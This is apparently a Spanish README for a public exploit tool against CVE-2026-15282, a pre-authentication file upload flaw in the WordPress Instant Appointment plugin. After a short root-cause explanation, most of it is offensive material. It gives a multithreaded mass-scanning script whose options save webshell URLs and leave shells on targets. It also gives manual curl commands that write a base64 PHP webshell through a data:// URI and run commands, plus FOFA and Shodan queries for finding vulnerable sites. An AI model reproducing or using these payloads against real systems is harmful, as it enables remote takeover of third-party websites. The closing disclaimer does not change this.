Resumen

CVE-2026-15282 es una vulnerabilidad crítica (CVSS 9.8) de subida arbitraria de archivos sin autenticación en el plugin Instant Appointment de WordPress (≤ 1.2).

La acción AJAX add_service_front se registra mediante wp_ajax_nopriv_ para permitir el acceso sin autenticación. El manejador pasa image_url e image_name proporcionados por el usuario directamente a file_get_contents() y file_put_contents() sin ninguna validación del tipo de archivo ni de la extensión.

Versiones Afectadas

Versión	Estado
≤ 1.2	Vulnerable
> 1.2	Sin parche disponible — elimina el plugin

Mecanismo de la Vulnerabilidad

Causa Raíz

// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
    $image_data = file_get_contents($image_url);       // downloads from ANY URL
    $file = $upload_dir['path'] . '/' . $file_name;    // uses attacker's filename
    file_put_contents($file, $image_data);             // no extension check!
}

El manejador AJAX acepta cualquier image_url (incluidas las URIs data://) y escribe cualquier image_name directamente en el directorio de subidas de WordPress.

Flujo de Ataque

POST /wp-admin/admin-ajax.php?action=add_service_front
  image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
  image_name=think_xxx.php
→ PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id

Instalación

git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt

Uso

python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup

Argumentos

  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs to file
  --threads         Workers (default: 25)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output

Prueba de Concepto

Objetivo Único

$ python cve_2026_15282.py -t target.com

  ⠋ Scanning target...  →  OK Scanning target...

  Host       : target.com
  Plugin     : YES
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
  Output     : uid=33(www-data) gid=33(www-data)

Escaneo Masivo

  [.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
  [RCE] target.com   https://target.com/wp-content/uploads/2026/07/think_xxx.php

Explotación Manual

# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0

# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=add_service_front' \
  -d 'service_name=test' \
  -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
  -d 'image_name=shell.php' \
  -d 'image_size=100' \
  -d 'image_type=image/jpeg' \
  -d 'service_price_sale=1' \
  -d 'service_price_reg=1' \
  -d 'service_category[]=1' \
  -d 'service_duration=60' \
  -d 'service_author=1'

# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'

FOFA / Shodan

FOFA:   body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"

Descargo de responsabilidad

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.

Referencias

Recurso	Enlace
WPScan

_{No afiliado con tenteeglobal ni Instant Appointment.}

CVE-2026-15282

Más Populares

CVE-2026-15282 — Exploit RCE masivo de Instant Appointment

Pre-autenticación: file_get_contents() + file_put_contents() → Webshell PHP